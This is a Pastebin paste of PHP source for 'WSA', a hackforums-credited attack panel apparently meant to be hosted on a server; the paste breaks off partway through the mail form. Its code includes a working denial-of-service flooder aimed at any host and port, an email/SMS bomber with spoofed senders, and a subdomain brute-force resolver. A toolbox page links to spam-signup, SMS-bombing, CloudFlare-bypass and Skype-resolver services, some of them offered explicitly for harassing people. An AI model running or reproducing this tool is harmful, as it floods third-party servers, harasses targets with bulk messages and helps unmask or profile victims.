Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $default_action = 'pageMain';
- @session_start();
- @ini_set('max_execution_time',0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @define('WSA_VERSION', '1.2');
- function getStartTime() {
- $currentTime = explode(' ', microtime(TRUE));
- return $currentTime[0];
- }
- function getExectionTime() {
- $startTime = func_get_args();
- $totalRunTime = round(getStartTime()-$startTime[0],6);
- return $totalRunTime;
- }
- function getServerLoad(){
- $serverLoadArray = array();
- for($i=0; $i < 3; $i++) {
- $getServerLoad = sys_getloadavg();
- $serverLoadArray[] = ($getServerLoad[$i]*100) . '%';
- }
- if(count($serverLoadArray) != 3) {
- $returnData = ' <center><span>Unable to get Server Load</span></center>';
- }
- else {
- $returnData = ' <table cellpadding="3" cellspacing="0">';
- $returnData .= ' <tr>';
- $returnData .= ' <td colspan="2">';
- $returnData .= ' <span>System Load Average</span>';
- $returnData .= ' </td><td></td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <span><nobr>1 Minute:</nobr></span>';
- $returnData .= ' </td>';
- $returnData .= ' <td>';
- $returnData .= ' ' . $serverLoadArray[0] . '';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <span><nobr>5 Minutes:</nobr></span>';
- $returnData .= ' </td>';
- $returnData .= ' <td>';
- $returnData .= ' ' . $serverLoadArray[1] . '';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <span><nobr>15 Minutes:</nobr></span>';
- $returnData .= ' </td>';
- $returnData .= ' <td>';
- $returnData .= ' ' . $serverLoadArray[2] . '';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' </table>';
- }
- return $returnData;
- }
- function setMenu() {
- $menuItems = array('Main'=>'pageMain','Bomber'=>'pageMail','Resolver'=>'pageResolver','DoS'=>'pageDoS');
- $returnData = '';
- foreach($menuItems as $key => $value) {
- $returnData .= '<th width="'.(int)(100/count($menuItems)).'%"><form method="post"><button class="astext" name="action" type="submit" value="'. $value .'"><font color="white">[</font> ' . $key . ' <font color="white">]</font></button></form></th>';
- }
- return $returnData;
- }
- function setHeader() {
- $returnData = '<html>';
- $returnData .= ' <head>';
- $returnData .= ' <meta http-equiv="Content-Type" content="text/html; charset=Windows-1251"">';
- $returnData .= ' <title>WSA' . WSA_VERSION . '</title> ';
- $returnData .= ' <style> ';
- $returnData .= ' body{';
- $returnData .= ' background-color:#444;';
- $returnData .= ' color:#e1e1e1;';
- $returnData .= ' } ';
- $returnData .= ' body,td,th{';
- $returnData .= ' font: 9pt Lucida,Verdana;';
- $returnData .= ' }';
- $returnData .= ' div.fullcontainer{';
- $returnData .= ' position:absolute;';
- $returnData .= ' top:0;';
- $returnData .= ' left:0;';
- $returnData .= ' width:100%;';
- $returnData .= ' height:100%;';
- $returnData .= ' }';
- $returnData .= ' div.header{';
- $returnData .= ' position:absolute;';
- $returnData .= ' top:0;';
- $returnData .= ' height:92px;';
- $returnData .= ' width:100%;';
- $returnData .= ' background-color:#222; ';
- $returnData .= ' }';
- $returnData .= ' div.headerinfo{';
- $returnData .= ' height:62px;';
- $returnData .= ' padding-top:4px;';
- $returnData .= ' }';
- $returnData .= ' table.info{';
- $returnData .= ' color:#fff;';
- $returnData .= ' background-color:#222;';
- $returnData .= ' }';
- $returnData .= ' #infoLeft{';
- $returnData .= ' position:absolute;';
- $returnData .= ' left:0;';
- $returnData .= ' }';
- $returnData .= ' #infoRight{';
- $returnData .= ' position:absolute;';
- $returnData .= ' right:0;';
- $returnData .= ' }';
- $returnData .= ' div.headermenu{';
- $returnData .= ' border-top:2px solid #333;';
- $returnData .= ' height: 24px;';
- $returnData .= ' background-color:#444;';
- $returnData .= ' }';
- $returnData .= ' div.centerpos{';
- $returnData .= ' width:100%;';
- $returnData .= ' background-color:#444;';
- $returnData .= ' }';
- $returnData .= ' div.centerwrapper{';
- $returnData .= ' margin:0px 5px 0px 5px;';
- $returnData .= ' }';
- $returnData .= ' div.contenttitle{';
- $returnData .= ' padding:0;';
- $returnData .= ' background-color:#222;';
- $returnData .= ' margin-left:5px';
- $returnData .= ' }';
- $returnData .= ' h1{';
- $returnData .= ' border-left:5px solid #df5;';
- $returnData .= ' padding: 2px 5px;';
- $returnData .= ' font: 14pt Verdana;';
- $returnData .= ' margin:0;';
- $returnData .= ' }';
- $returnData .= ' div.content{';
- $returnData .= ' background-color:#333;';
- $returnData .= ' padding:5px;';
- $returnData .= ' margin:0px 5px 0px 10px;';
- $returnData .= ' }';
- $returnData .= ' span,h1,a,button{';
- $returnData .= ' color: #df5;';
- $returnData .= ' } ';
- $returnData .= ' span{';
- $returnData .= ' font-weight: bolder;';
- $returnData .= ' }';
- $returnData .= ' span.mailF{';
- $returnData .= ' color:red;';
- $returnData .= ' font-weight: bolder;';
- $returnData .= ' align:left;';
- $returnData .= ' }';
- $returnData .= ' span.mailS{';
- $returnData .= ' color:green;';
- $returnData .= ' font-weight: bolder;';
- $returnData .= ' align:left;';
- $returnData .= ' }';
- $returnData .= ' a,button{';
- $returnData .= ' text-decoration:none;';
- $returnData .= ' }';
- $returnData .= ' .astext {';
- $returnData .= ' background:none;';
- $returnData .= ' border:none;';
- $returnData .= ' margin:0;';
- $returnData .= ' padding:0;';
- $returnData .= ' }';
- $returnData .= ' a,button:hover{';
- $returnData .= ' text-decoration:underline;';
- $returnData .= ' } ';
- $returnData .= ' div.footerwrapper{';
- $returnData .= ' display: flex;';
- $returnData .= ' margin-top:5px;';
- $returnData .= ' background-color:#222;';
- $returnData .= ' width:100%;';
- $returnData .= ' min-height:84px;';
- $returnData .= ' border-top:2px solid #333;';
- $returnData .= ' border-bottom:2px solid #333;';
- $returnData .= ' color:#fff;';
- $returnData .= ' }';
- $returnData .= ' div.footerCenter{';
- $returnData .= ' width:50%;';
- $returnData .= ' overflow:hidden;';
- $returnData .= ' border-right:2px solid #333;';
- $returnData .= ' border-left:2px solid #333;';
- $returnData .= ' display:inline-block;';
- $returnData .= ' }';
- $returnData .= ' div.footerLeft{ ';
- $returnData .= ' width:25%;';
- $returnData .= ' overflow:hidden;';
- $returnData .= ' display:inline-block;';
- $returnData .= ' }';
- $returnData .= ' div.footerRight{';
- $returnData .= ' width:25%;';
- $returnData .= ' overflow:hidden;';
- $returnData .= ' display:inline-block;';
- $returnData .= ' }';
- $returnData .= ' #footTbl > td,tr{';
- $returnData .= ' text-align: center;';
- $returnData .= ' width:40%;';
- $returnData .= ' }';
- $returnData .= ' #bigbox{';
- $returnData .= ' height:80px;';
- $returnData .= ' }';
- $returnData .= ' input,textarea,select{';
- $returnData .= ' margin:0;';
- $returnData .= ' color:#fff;';
- $returnData .= ' background-color:#555;';
- $returnData .= ' border:1px solid #df5;';
- $returnData .= ' font: 9pt Monospace,"Courier New";';
- $returnData .= ' }';
- $returnData .= ' form{';
- $returnData .= ' margin:0px;';
- $returnData .= ' } ';
- $returnData .= ' #mailTbl{';
- $returnData .= ' text-align:center;';
- $returnData .= ' flex-grow: 1;';
- $returnData .= ' flex-shrink: 1;';
- $returnData .= ' } ';
- $returnData .= ' .mailInp{';
- $returnData .= ' width: 80%;';
- $returnData .= ' } ';
- $returnData .= ' .main th{';
- $returnData .= ' text-align:left;';
- $returnData .= ' background-color:#5e5e5e;';
- $returnData .= ' } ';
- $returnData .= ' .main tr:hover{';
- $returnData .= ' background-color:#5e5e5e;';
- $returnData .= ' } ';
- $returnData .= ' .main td, th{';
- $returnData .= ' vertical-align:middle;';
- $returnData .= ' } ';
- $returnData .= ' .l1{';
- $returnData .= ' background-color:#444;';
- $returnData .= ' }';
- $returnData .= ' pre{';
- $returnData .= ' font-family:Courier,Monospace;';
- $returnData .= ' }';
- $returnData .= ' .toolbox {';
- $returnData .= ' height: 480px;';
- $returnData .= ' }';
- $returnData .= ' .toolbox > div {';
- $returnData .= ' width: 30%;';
- $returnData .= ' display: inline-block;';
- $returnData .= ' -webkit-transition: 1s ease-out;';
- $returnData .= ' transition: 1s ease-out;';
- $returnData .= ' -webkit-border-radius: 10px;';
- $returnData .= ' border: 2px solid black;';
- $returnData .= ' margin:0px 10px 18px 10px;';
- $returnData .= ' padding-top:10px;';
- $returnData .= ' height: 25px;';
- $returnData .= ' background-color: #444;';
- $returnData .= ' overflow: hidden;';
- $returnData .= ' }';
- $returnData .= ' .toolbox > div:hover { ';
- $returnData .= ' height: 108px; ';
- $returnData .= ' color: white; ';
- $returnData .= ' font-weight: bold; ';
- $returnData .= ' }';
- $returnData .= ' #features { ';
- $returnData .= ' text-align:center;';
- $returnData .= ' flex-grow: 1;';
- $returnData .= ' flex-shrink: 1;';
- $returnData .= ' min-width: 0;';
- $returnData .= ' }';
- $returnData .= ' </style>';
- $returnData .= ' </head>';
- $returnData .= ' <body>';
- $returnData .= ' <div class="fullcontainer">';
- $returnData .= ' <div class="header">';
- $returnData .= ' <div class="headerinfo">';
- $returnData .= ' <table class="info" id="infoLeft" cellpadding="3" cellspacing="0">';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <font size="5"><span>Version: </span>' . WSA_VERSION . '</font>';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' </table>';
- $returnData .= ' <table class="info" id="infoRight" cellpadding="3" cellspacing="0">';
- $returnData .= ' <tr>';
- $returnData .= ' <td rowspan="2">';
- $returnData .= ' <font size="5"><span><a href="http://hackforums.net/">HACKFORUMS</a></span></font>';
- $returnData .= ' </td>';
- $returnData .= ' </tr><tr></tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <nobr><center>Authors: <a href="http://hackforums.net/member.php?action=profile&uid=2050895">allhellno</a> & <a href="http://hackforums.net/member.php?action=profile&uid=3091672">Helzor</a></center></nobr>';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' </table>';
- $returnData .= ' <center>';
- $returnData .= ' <table class="info" cellpadding="3" cellspacing="0">';
- $returnData .= ' <tr>';
- $returnData .= ' <td align="center" rowspan="2">';
- $returnData .= ' <font size="5"><span><center>WSA</center></span></font>';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td align="center">';
- $returnData .= ' <nobr>WSO Service Annihilator</nobr>';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' </table>';
- $returnData .= ' </center>';
- $returnData .= ' </div>';
- $returnData .= ' <div class="headermenu">';
- $returnData .= ' <center>';
- $returnData .= ' <table id="menu" cellpadding="3" cellspacing="0" width="80%">';
- $returnData .= ' <tr>';
- $returnData .= setMenu();
- $returnData .= ' </tr>';
- $returnData .= ' </table>';
- $returnData .= ' </center>';
- $returnData .= ' </div>';
- $returnData .= ' </div>';
- return $returnData;
- }
- function setFooter() {
- global $startTime;
- $returnData = ' <div class="footerwrapper"> ';
- $returnData .= ' <div class="footerLeft">';
- $returnData .= getServerLoad();
- $returnData .= ' </div>';
- $returnData .= ' <div class="footerCenter">';
- $returnData .= engineOutput();
- $returnData .= ' </div>';
- $returnData .= ' <div class="footerRight">';
- $returnData .= ' <center><span>Page generated in</span><br>';
- $returnData .= getExectionTime($startTime);
- $returnData .= ' seconds.<br></center>';
- $returnData .= ' </div>';
- $returnData .= ' </div>';
- $returnData .= ' </div>';
- $returnData .= ' </div>';
- $returnData .= ' </body>';
- $returnData .= '</html>';
- return $returnData;
- }
- function engineResolve() {
- $domainPrefixList = array('www','mail','remote','blog','webmail','server','ns1','ns2','smtp','secure','vpn','m','shop','ftp','mail2','test','portal','ns','ww1','host',
- 'support','dev','web','bbs','ww42','mx','email','cloud','1','mail1','2','forum','owa','www2','gw','admin','store','mx1','cdn','api','exchange',
- 'app','gov','2tty','vps','govyty','hgfgdf','news','1rer','lkjkui','hfgfgf','yty','lkljk','server1','zcvbnnn','dsasa','my','demo','tgrrre','home','wxsxc',
- 'static','tgtggb','staging','oilkjm','wqwqw','mkuu','iuyuy','rerew','iuyuyt','khjghg','qwqee','mx2','qwrer','mjurr','qwqwq','office','ssl','intranet',
- 'media','sip','mobile','wiki','autodiscover','login','en','beta','gateway','ns3','images','apps','citrix',
- 'baidu','mta','o1','mail3','wwww','img','start','info','stats','dns1','www1','new','router','dns','crm','dns2','web1','git','s1','de',
- 'connect','extranet','members','access','help','smtp2','stage','video','a','host2','fw','files','proxy','search','server2','online','smtp1','owncloud','moodle','us',
- 'mailhost','service','fr','3','www3','ns4','51','imap','s','pop','db','services','5','forums','old','host1','ts','4','es','svn','backup','srv','cp',
- 'srv1','helpdesk','gate','i','mail4','cn','48','correo','7','mx3','relay','web2','8','49','data','14','chat','mail01','69','qa','6','9','71','85',
- 'hosting','e','96','70','it','79','13','20','net','10','54','68','84','88','93','99','15','js','19','98','mailserver','11','91','77','site','66','ad','58',
- '95','download','23','62','50','monitor','18','55','42','46','82','live','37','36','33','32','34','204','64','31','92','38','39','cms','27','21','17','mailgate','25','57',
- 'mdm','81','73','83','86','76','72','40','29','56','photos','78','59','24','53','16','docs','28','jira','94','ads','44','22','ca','61','89',
- '63','67','30','65','47','go','26','60','43','74','community','b','cf-protected-www','52','image','sslvpn','web01','80','211','87','35','jobs','jp','41',
- 'hk','s2','97','75','152','cpanel','mx01','129','alpha','lists','d','clients','143','209','159','122','host3','142','216','107','174','blogs','153','139','212','222',
- '172','c','210','119','library','151','134','da','135','155','assets','146','123','147','220','207','outlook','136','piwik','90','firewall','168','194',
- '100','219','217','201','member','208','gitlab','108','213','157','121','202','128','156','195','gallery','206','141','218','249','45','newsletter','132',
- '199','mx4','tw','177','223','0','248','140','166','186','182','wp','post','179','barracuda','180','auth','106','169','165','sharepoint','109','197','118','167',
- '161','250','adfs','154','124','200','221','149','t','148','133','138','sp','187','sh','164','host5','billing','241','193','mail5','253','190','zimbra','sv',
- 'ru','sc','101','191','cf-protected','188','117','102','137','115','bj','wap','uat','144','fs','131','redmine','247','150','160','sso','175','196','127','host4','215','224',
- '120','prod','230','246','126','244','173','cq','www5','231','114','client','234','170','192','229','252','242','gs','176','235','233','main','181','236','238','245','hn','254','out','232',
- 's3','104','184','240','network','113','226','hi','origin','cs','analytics','projects','185','sn','ws','ci','mailer','rds','112','239','116','events','host6','205','125','uk','he','203','host7','voip',
- 'gd','mx5','webserver','training','178','fb','mta1','130','archive','pop3','237','mail02','227','host11','poczta','nas','reports','gx','vpn2','host10','legacy','f','broadcast','gw1','111','edu','ah','host8',
- 'hl','243','ln','join','198','vps1','server3','145','panel','manage','o2','214','158','host9','zj','photo','tools','av','163','host13','social','tj','box','183','smtp3','sms','dc','sd','p','nagios',
- 'share','host14','tv','cc','zeus','b2b','ns0','fj','server01','255','www4','mysql','partner','sx','meet','content','sts','pbx','xz','db1','189','vip','mx6','music','lo0','corp',
- 'hermes','v','tickets','careers','sftp','master','mta2','srv01','survey','mars','stg','spam','ms','cdn1','status','yn','vpn1','ha','dashboard','gz','web3','pt','irc','posta','ns5','jx','catalog','securemail','ww2','sandbox','staff',
- 'jl','103','nl','110','radio','host12','intra','mail6','em','bound','core','rt','oa','a1','bc','xj','account','jupiter','pc1','register','monitoring','lab','sites','view','ldap','business','games','mercury','dl','game','g','stream','wordpress','mx02','pc2',
- '225','nx','162','bcast','style','228','srv2','lib','atlas','x','105','forms','r','w','upload','storage','lyncdiscover','facebook','orion','preview','marketing','m1','partners','calendar','elearning','venus',
- 'gw2','in','cdn2','stat','linux','book','erp','ww','english','pc3','conference','hb','qh','file','pay','web02','noc','fw1','12','feeds','lw','c1','list','q','mc','ftp2','customer','intern','bb','job','pluto','sync',
- 'oc','ns01','nm','sbs','code','signup','ec','pc4','eng','dns3','apollo','css','order','tech','lync','mail7','travel','fc','phoenix','nat','internal','mx10','local','hr','confluence','pro','link','public','resources','directory',
- 'sg','s4','a2','id','sklep','hq','gis','pl','ac','preprod','b1','ar','cas','project','vdi','server4','work','sales','ra','vm','a3','cd','sentry','d1','v2','ex','mailout','map','db2','pc5','mail10','im',
- 'design','smtp4','dd','f1','cf','l','saturn','booking','research','idp','mta3','speedtest','webconf','track','test2','maps','club','w3','3g','h','be','auto','desktop','k','int','u','vm1','titan','doc','vps2','eu','lms','c2',
- 'm2','lb','251','user','play','china','e1','control','time','st','img1','jenkins','app1','testing','ds','au','test1','do','transfer','portfolio','shopping','alumni','a4','smtp01','ce','free','finance','zabbix','e0',
- 'reservations','pc6','d2','tr','ns6','z','learn','edge','j','thor','cache','a5','downloads','student','labs','bd','b2','mailgw','tracker','traveler','webmail2','ps','system','n','baijiale',
- 'videos','host20','host15','ae','servidor','mx0','ee','sql','virtual','team','athena','web4','dialin','se','pm','cb','myaccount','c3','aa','ns02','host17','kb','ag','a6','update','as',
- 'payment','ir','img2','f2','s5','orders','galleries','ticket','mta4','a7','hub','sw1','delta','promo','pc','affiliate','users','webservices','health','redirect','host18','cgi','rdp','webapps','host19','payments',
- 'bocaiwang','terminal','com','console','mx8','ba','co','pm04-1','fa','aws','rss','node1','mail8','radius','global','d4','pm03-1','rd','sa','ip2','host16','ttyulecheng','accounts','ab',
- 'apply','mirror','d3','mx7','about','host22','adm','b3','host21','host23','c4','a0','o','manager','d7','art','red','cacti','ea','mm','tracking','mail03','taiyangchengyulecheng','server5','mailing','campus',
- 'hwmaint','f3','v1','jabber','meeting','webshop','csg','w1','security','host26','is','mta5','d5','blue','sports','school','corporate','streaming','ws1','iris','ip1','checkout','pages','ed',
- 'br','af','3d','fe','d6','pic','one','domains','y','e3','chef','affiliates','r1','mon','contact','dev2','s0','bi','sun','res');
- $returnData = '<center><span>Subdomain scanner output</span><br>';
- $returnData .= '<table cellspacing="1" cellpadding="2" class="info">';
- $domain = func_get_args();
- $domainAddress = gethostbyname($domain[0]);
- if(filter_var($domainAddress, FILTER_VALIDATE_IP)); {
- $returnData .= '<tr><td>' . $domain[0] . '</td><td>' . $domainAddress . '</td></tr>';
- for($i = 0, $arraySize = count($domainPrefixList); $i < $arraySize; $i++) {
- $subDomain = $domainPrefixList[$i] .'.'. $domain[0];
- $subDomainAddress = gethostbyname($subDomain);
- if (filter_var($subDomainAddress, FILTER_VALIDATE_IP)) {
- $returnData .= '<tr><td>' . $subDomain . '</td><td>' . $subDomainAddress . '</td></tr>';
- }
- }
- $returnData .= '</table></center>';
- return $returnData;
- }
- }
- function engineDoS() {
- $returnData = '<center><span>DoS output</span><br>';
- $attackDetails = func_get_args();
- $stopTime = time() + $attackDetails[3];
- $packetsSent = 0;
- if($attackDetails[0] != 'http') {
- for($sendData = 0; strlen($sendData) < 65000; $sendData .= Chr(255))
- while(1){
- if (time() > $stopTime) break;
- @$fp = fsockopen($attackDetails[0].'://'.$attackDetails[1], $attackDetails[2], $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $sendData);
- fclose($fp);
- $packetsSent++;
- }
- }
- }
- else {
- if ($attackDetails[4] == null) $attackDetails[4] = '/';
- $sendData .= 'GET ' . $attackDetails[4] . ' HTTP/1.1' . "\r\n";
- $sendData .= 'Host: ' . $attackDetails[1] . "\r\n";
- $sendData .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
- $sendData .= 'Keep-alive: 300' . "\r\n";
- $sendData .= 'Connection: keep-alive' . "\r\n\r\n";
- @$fp = fsockopen( $attackDetails[1], $attackDetails[2], $errno, $errstr, 5 );
- while(1){
- if (time() > $stopTime) break;
- if($fp){
- fwrite($fp, $sendData);
- fclose($fp);
- $packetsSent++;
- }
- else @$fp = fsockopen( $attackDetails[1], $attackDetails[2], $errno, $errstr, 5 );
- }
- }
- $returnData .= '<table cellspacing="1" cellpadding="2" class="info">';
- if($packetsSent == 0) $returnData .= '<tr><td colspan="2"><font color="red">ERROR</font></td><td></td></tr>';
- else {
- $returnData .= '<tr><td>' . round($packetsSent) . ' Packets sent</td><td>' . round($packetsSent/$attackDetails[3]) . ' Packets/s</td></tr>';
- if($attackDetails[0] !='http') $returnData .= '<tr><td>' . round(($packetsSent*65)/1024, 2) . ' MB</td><td>' . round(($packetsSent*65)/1024/$attackDetails[3], 2) . ' MB/s</td></tr>';
- }
- $returnData .= '</table></center>';
- return $returnData;
- }
- function engineMail() {
- $mailDetails = func_get_args();
- $to = $mailDetails[0];
- $from = $mailDetails[1];
- $messageCount = intval($mailDetails[2]);
- $subject = $mailDetails[3];
- $message = $mailDetails[4];
- $returnData = '<center><span>Mail/SMS bomber output</span><br>';
- $failedCount = '0';
- $successCount = '0';
- $default_email = 'rekt@gayjimsgym.com';
- $invalid_email = false;
- if (!preg_match( '/^[a-z0-9&\'\.\-_\+]+@[a-z0-9\-]+\.([a-z0-9\-]+\.)*?[a-z]+$/is', $mailDetails[0])) $invalid_email = true;
- if (!preg_match ( '/^[a-z0-9&\'\.\-_\+]+@[a-z0-9\-]+\.([a-z0-9\-]+\.)*?[a-z]+$/is', $from)) $from = 'Unknown Sender < '. $default_email . '>';
- if (!empty($to) || !empty($subject) || !empty($message) || !empty($from) || !$invalid_email) {
- for ($i = 0; $i < $messageCount; $i++) {
- $fromMod = explode('@', $from);
- $fromMod[0] = $fromMod[0] . $i;
- $fromMod = implode('@', $fromMod);
- $subjectMod = $subject . $i;
- $headers = "From: $fromMod" . "\r\n";
- $headers .= "Reply-To: $fromMod" . "\r\n";
- $headers .= "X-Mailer: PHP/" . phpversion();
- if(!@mail($to, $subjectMod, $message, $headers)) $failedCount++;
- else $successCount++;
- }
- }
- else if ( $invalid_email && !empty($to) && !empty($subject) && !empty($message) && !empty($from) ) $returnData .= 'Invalid Target';
- $returnData .= 'Sent: '. $successCount . ' Failed: ' . $failedCount . '</center>';
- return $returnData;
- }
- function engineOutput() {
- $returnData = '';
- if($_POST['action'] == 'pageMail') {
- if(isset($_POST['to'])) {
- $to = $_POST['to'];
- if(isset($_POST['gateway'])) $to = $to . $_POST['gateway'];
- $from = $_POST['from'];
- $loop = intval($_POST['loop']);
- $subject = $_POST['subject'];
- $message = $_POST['message'];
- $returnData .= engineMail($to,$from,$loop,$subject,$message);
- }
- }
- if($_POST['action'] == 'pageDoS') {
- if(isset($_POST['host'])) {
- $type = $_POST['FloodType'];
- $host = $_POST['host'];
- $port = intval($_POST['port']);
- $time = intval($_POST['time']);
- $page = $_POST['page'];
- $returnData .= engineDoS($type,$host,$port,$time,$page);
- }
- }
- if($_POST['action'] == 'pageResolver' && isset($_POST['ResThis'])) {
- if(preg_match("/^(?!\-)(?:[a-zA-Z\d\-]{0,62}[a-zA-Z\d]\.){1,126}(?!\d+)[a-zA-Z\d]{1,63}$/",$_POST['ResThis'])) {
- $ScanSite = $_POST['ResThis'];
- $returnData .= engineResolve($ScanSite);
- }
- }
- return $returnData;
- }
- function pageMain() {
- $returnData = setHeader();
- $returnData .= ' <div class="contentpos" style="padding-top:92px;">';
- $returnData .= ' <div class="contenttitle">';
- $returnData .= ' <h1>Main Page - ToolBox</h1>';
- $returnData .= ' </div>';
- $returnData .= ' <div class="centerwrapper">';
- $returnData .= ' <div class="content">';
- $returnData .= ' <div class="toolbox">';
- $returnData .= ' <div><center><span>Reverse IP/Domain Search</span></center>';
- $returnData .= ' <p id="features"><a href="http://www.yougetsignal.com/tools/web-sites-on-web-server/">www.yougetsignal.com</a> - A reverse IP domain check takes a domain name or IP address pointing to a web server and searches for other sites known to be hosted on that same web server.</p></div>';
- $returnData .= ' <div><center><span>Mobile Provider Lookup</span></center>';
- $returnData .= ' <p id="features"><a href="http://fonefinder.net/">fonefinder.net</a> - A tool used to discover which wireless company owns a mobile number. Useful for SMS bombing.</p></div>';
- $returnData .= ' <div><center><span>DNS History</span></center>';
- $returnData .= ' <p id="features"><a href="https://dnshistory.org/">dnshistory.org</a> - This tool archives DNS entries and allows users to search the database for free. Useful for bypassing CloudFlare.</p></div>';
- $returnData .= ' <div><center><span>Reverse Email Search</span></center>';
- $returnData .= ' <p id="features"><a href="http://www.yougetsignal.com/tools/reverse-email-lookup/">www.yougetsignal.com</a> - This tool allows you find the e-mail addresses a person owns or the owner of a specific e-mail address.</p></div>';
- $returnData .= ' <div><center><span>Username Search</span></center>';
- $returnData .= ' <p id="features"><a href="http://checkusernames.com/">checkusernames.com</a> - This site allows you to do a basic username search on several large social networking sites.</p></div>';
- $returnData .= ' <div><center><span>Skype Resolver</span></center>';
- $returnData .= ' <p id="features"><a href="http://mostwantedhf.info/">mostwantedhf.info</a> - A popular Skype resolver.</p></div>';
- $returnData .= ' <div><center><span>Email Crafter</span></center>';
- $returnData .= ' <p id="features"><a href="https://emkei.cz/">emkei.cz</a> - A free online email crafter with a lot of customizations.</p></div>';
- $returnData .= ' <div><center><span>PrivNote\'s Self Destructing Pastebin</span></center>';
- $returnData .= ' <p id="features"><a href="https://privnote.com/">privnote.com</a> - This site allows you to share sensitive information with self destructing encrypted notes. Also has email notification when destroyed.</p></div>';
- $returnData .= ' <div><center><span>CloudFlare Resolver</span></center>';
- $returnData .= ' <p id="features"><a href="http://iphostinfo.com/cloudflare/">iphostinfo.com</a> - A free online CloudFlare resolver.</p></div>';
- $returnData .= ' <div><center><span>MailBait Spam Signup Tool</span></center>';
- $returnData .= ' <p id="features"><a href="http://www.mailbait.info/run.html">www.mailbait.com</a> - This tool signs up a targets email address to various mailing lists. Great for pissing people off.</p></div>';
- $returnData .= ' <div><center><span>RevengeSpam Spam Signup</span></center>';
- $returnData .= ' <p id="features"><a href="http://revengespam.com/">revengespam.com</a> - Another automatic spam signup tool to piss people off!</p></div>';
- $returnData .= ' <div><center><span>Crank Call Site List</span></center>';
- $returnData .= ' <p id="features"><a href="http://old.bored.com/dialpeople/">old.bored.com</a> <a href="http://www.easyprank.com/">www.easyprank.com</a> <a href="http://www.prankdial.com/">www.prankdial.com</a> <a href="https://www.prankowl.com/">www.prankowl.com</a> <a href="https://myphonerobot.com/free-prank-calls.html">myphonerobot.com</a> <a href="http://www.anonymousphonecalls.com/">www.anonymousphonecalls.com</a> <a href="http://www.aftervoice.com/">www.aftervoice.com</a></p></div>';
- $returnData .= ' <div><center><span>BugMeNot Account Sharing Site</span></center>';
- $returnData .= ' <p id="features"><a href="http://bugmenot.com/">bugmenot.com</a> - Account sharing website.</p></div>';
- $returnData .= ' <div><center><span>InCloak Port Scanner</span></center>';
- $returnData .= ' <p id="features"><a href="https://incloak.com/ports/">incloak.com</a> - Free online basic port scanner.</p></div>';
- $returnData .= ' <div><center><span>SpyDialer Phone Number Probe</span></center>';
- $returnData .= ' <p id="features"><a href="http://www.spydialer.com/default.aspx">www.spydialer.com</a> - A phone number investigation tool. 3 free scans daily.</p></div>';
- $returnData .= ' <div><center><span>Proxy.org Web Porxies</span></center>';
- $returnData .= ' <p id="features"><a href="http://proxy.org/web_proxies.shtml">proxy.org</a> - A large collection of web proxies that"s actively maintained and free to use.</p></div>';
- $returnData .= ' <div><center><span>Tor2Web</span></center>';
- $returnData .= ' <p id="features"><a href="https://tor2web.org/">tor2web.org</a> - Tor2web is a project to let Internet users access Tor Onion Services without using Tor Browser.</p></div>';
- $returnData .= ' <div><center><span>InCloak Free Proxy List</span></center>';
- $returnData .= ' <p id="features"><a href="https://incloak.com/proxy-list/">incloak.com</a> - One of many freemium proxy sites. Useful for finding proxies fast.</p></div>';
- $returnData .= ' <div><center><span>VirusTotal</span></center>';
- $returnData .= ' <p id="features"><a href="https://www.virustotal.com/">www.virustotal.com</a> - VirusTotal is a free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware.</p></div>';
- $returnData .= ' <div><center><span>Free SMS Service</span></center>';
- $returnData .= ' <p id="features"><a href="http://www.afreesms.com/freesms/">www.afreesms.com</a> - aFreeSms.com is online International Free Text Message service which allows you to send Unlimited Free SMS anywhere in the world.</p></div>';
- $returnData .= ' <div><center><span>10 Minute Mail</span></center>';
- $returnData .= ' <p id="features"><a href="http://10minutemail.com/10MinuteMail/index.html">10minutemail.com</a> - 10MinuteMail is a secure temporary email service.</p></div>';
- $returnData .= ' </div>';
- $returnData .= ' </div>';
- $returnData .= setFooter();
- return $returnData;
- }
- function pageMail() {
- $returnData = setHeader();
- $returnData .= ' <div class="contentpos" style="padding-top:92px;">';
- $returnData .= ' <div class="contenttitle">';
- $returnData .= ' <h1>Email/SMS Bomber</h1>';
- $returnData .= ' </div>';
- $returnData .= ' <div class="centerwrapper">';
- $returnData .= ' <div class="content">';
- $returnData .= ' <center>';
- $returnData .= ' <table id="mailTbl" width="100%" cellpadding="3" cellspacing="0">';
- $returnData .= ' <tr>';
- $returnData .= ' <td width="50%" style="border-right:2px solid #222;">';
- $returnData .= ' <form method="post">';
- $returnData .= ' <input type="hidden" name="action" value="pageMail" />';
- $returnData .= ' <span>Email Bomber</span>';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Target';
- $returnData .= ' <br>';
- $returnData .= ' <input class="mailInp" type="text" name="to" placeholder="Target"s email" value="" />';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Sender';
- $returnData .= ' <br>';
- $returnData .= ' <input class="mailInp" type="text" name="from" placeholder="Spoof email" value="" />';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Amount';
- $returnData .= ' <br>';
- $returnData .= ' <input class="mailInp" type="text" name="loop" placeholder="100" value="" />';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Subject';
- $returnData .= ' <br>';
